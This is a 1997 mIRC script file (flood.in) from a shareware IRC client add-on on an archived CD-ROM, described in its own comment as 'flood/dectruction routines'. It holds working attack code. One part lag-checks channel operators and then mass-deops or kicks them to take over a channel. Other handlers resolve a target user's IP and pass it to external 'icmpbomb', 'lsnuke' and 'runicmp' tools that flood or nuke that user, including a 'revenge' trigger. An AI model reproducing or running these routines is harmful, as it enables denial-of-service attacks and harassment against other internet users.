home *** CD-ROM | disk | FTP | other *** search
/ PC World Interactive 4 / PC World Interactive 4.iso / share / internet / LSMIRC61.EXE / flood.in_ / flood.in
INI File  |  1997-09-21  |  4KB  |  131 lines
  1. [script]
  2. n0=;
  3. n1=;         this section deals with various flood/dectruction routines
  4. n2=;
  5. n3=alias querynicks {
  6. n4=  %nicks = ""
  7. n5=  %i = 0
  8. n6=  :nx
  9. n7=  inc %i
  10. n8=  if $query(%i) != $null { set %nicks %nicks $query(%i) | goto nx }
  11. n9=  %i = 0
  12. n10=  :nx2
  13. n11=  inc %i
  14. n12=  if $chat(%i) != $null { set %nicks %nicks $chat(%i) | goto nx2 }
  15. n13=  return * $+ %nicks
  16. n14=}
  17. n15=alias allchans {
  18. n16=  %chans = ""
  19. n17=  %i = 0
  20. n18=  :nx
  21. n19=  inc %i
  22. n20=  if $chan(%i) != $null { set %chans %chans $chan(%i) | goto nx }
  23. n21=  %i = 0
  24. n22=  return * $+ %chans
  25. n23=}
  26. n24=;
  27. n25=;  lag checking kick and deop
  28. n26=;
  29. n27=alias pingops {
  30. n28=  %i = 0
  31. n29=  :nx
  32. n30=  inc %i
  33. n31=  if ($opnick(%i,$1) != $null) {
  34. n32=    if ($a3($opnick(%i,$1)) iswm $a5($me)) dec %tvnumops
  35. n33=    else ctcp $opnick(%i,$1) PING
  36. n34=    goto nx
  37. n35=  }
  38. n36=}
  39. n37=#lagmode off
  40. n38=on 1:CTCPREPLY:*:{
  41. n39=  if $1 = PING {
  42. n40=    set %tvlaglist %tvlaglist $nick
  43. n41=    inc %tvreplies
  44. n42=    echo 3 -a Determined order for $nick
  45. n43=    if (%tvreplies = %tvnumops) { .timer44 off | lagmode }
  46. n44=  }
  47. n45=  else { echo 4 -s [[ $+ $nick $1 reply $+ ]]: $2- }
  48. n46=  halt
  49. n47=}
  50. n48=#lagmode end
  51. n49=alias lagmode {
  52. n50=  .disable #lagmode | .enable #regctcp
  53. n51=  %i = 0
  54. n52=  :nx
  55. n53=  inc %i
  56. n54=  if $opnick(%i,%lagchan) != $null {
  57. n55=    if (($opnick(%i,%lagchan) !isin %tvlaglist) && ($opnick(%i,%lagchan) != $me)) {
  58. n56=      echo 3 -a Forcing $opnick(%i,%lagchan) into list
  59. n57=      set %tvlaglist %tvlaglist $opnick(%i,%lagchan)
  60. n58=    }
  61. n59=    goto nx
  62. n60=  }
  63. n61=  if %tvlagtype = deop lagdeop %tvlaglist
  64. n62=  else lagkick %tvlaglist
  65. n63=}
  66. n64=alias lagdeop {
  67. n65=  %i = 0 | %nicks = ""
  68. n66=  :nx
  69. n67=  inc %i
  70. n68=  if $ [ $+ [ %i ] ] = $null { if $len(%nicks) > 0 mode %lagchan -oooo %nicks | halt }
  71. n69=  set %nicks %nicks $ [ $+ [ %i ] ]
  72. n70=  if %maxmodes // %i { mode %lagchan -oooo %nicks | %nicks = "" }
  73. n71=  goto nx
  74. n72=}
  75. n73=alias lagkick {
  76. n74=  %i = 0
  77. n75=  :nx
  78. n76=  inc %i
  79. n77=  set %nick $ [ $+ [ %i ] ]
  80. n78=  if %nick != $null { kick %lagchan %nick %kickmsg | goto nx }
  81. n79=}
  82. n80=#lookup off
  83. n81=on 1:DNS: {
  84. n82=  .disable #lookup | .enable #regdns
  85. n83=  if ($isnumericip($raddress)) dde icmpbomb $ddename $+ icmp txtIP $raddress
  86. n84=  elseif ($isnumericip($address)) dde icmpbomb $ddename $+ icmp txtIP $address
  87. n85=  else dde icmpbomb $ddename $+ icmp txtIP Could not resolve
  88. n86=}
  89. n87=#lookup end
  90. n88=#lookup2 off
  91. n89=on 1:DNS: {
  92. n90=  .disable #lookup2 | .enable #regdns
  93. n91=  if ($isnumericip($raddress)) dde lsnuke $ddename dns $raddress
  94. n92=  elseif ($isnumericip($address)) dde lsnuke $ddename dns txtIP $address
  95. n93=  else dde lsnuke $ddename dns Could not resolve
  96. n94=}
  97. n95=#lookup2 end
  98. n96=#revengedns off
  99. n97=on 1:DNS: {
  100. n98=  .disable #revengedns | .enable #regdns
  101. n99=  if ($isnumericip($raddress)) runicmp $raddress
  102. n100=  elseif ($isnumericip($address)) runicmp $address
  103. n101=  else echo 4 -a %dis10 $+ Could not determine IP for %tvicmpnick
  104. n102=}
  105. n103=#revengedns end
  106. n104=#nukeinfoip off
  107. n105=on 1:DNS: {
  108. n106=  .disable #nukeinfoip | .enable #regdns
  109. n107=  if ($isnumericip($raddress)) echo -a %dis1 $+ IP: $+ %dis42 $raddress
  110. n108=  elseif ($isnumericip($address)) echo -a %dis1 $+ IP: $+ %dis42 $address
  111. n109=  else echo -a %dis1 $+ IP: $+ %dis42 could not resolve
  112. n110=}
  113. n111=#nukeinfoip end
  114. n112=#geticmpip off
  115. n113=raw 302:*:{
  116. n114=  .disable #geticmpip
  117. n115=  if $2 = $null { dde icmpbomb $ddename $+ icmp txtIP No such nick }
  118. n116=  else {
  119. n117=    set %addy $replace($2,=,!) | set %addy $replace(%addy,+,*) | set %addy $mask(%addy,2)
  120. n118=    set %len $len(%addy) | dec %len 4
  121. n119=    set %addy $right(%addy,%len)
  122. n120=    if ($isnumericip(%addy)) dde icmpbomb $ddename $+ icmp txtIP %addy
  123. n121=    else {
  124. n122=      dde icmpbomb $ddename $+ icmp txtIP Attempting to resolve...
  125. n123=      .disable #regdns | .enable #lookup | .dns %addy
  126. n124=    }
  127. n125=  }
  128. n126=  halt
  129. n127=}
  130. n128=#geticmpip end
  131.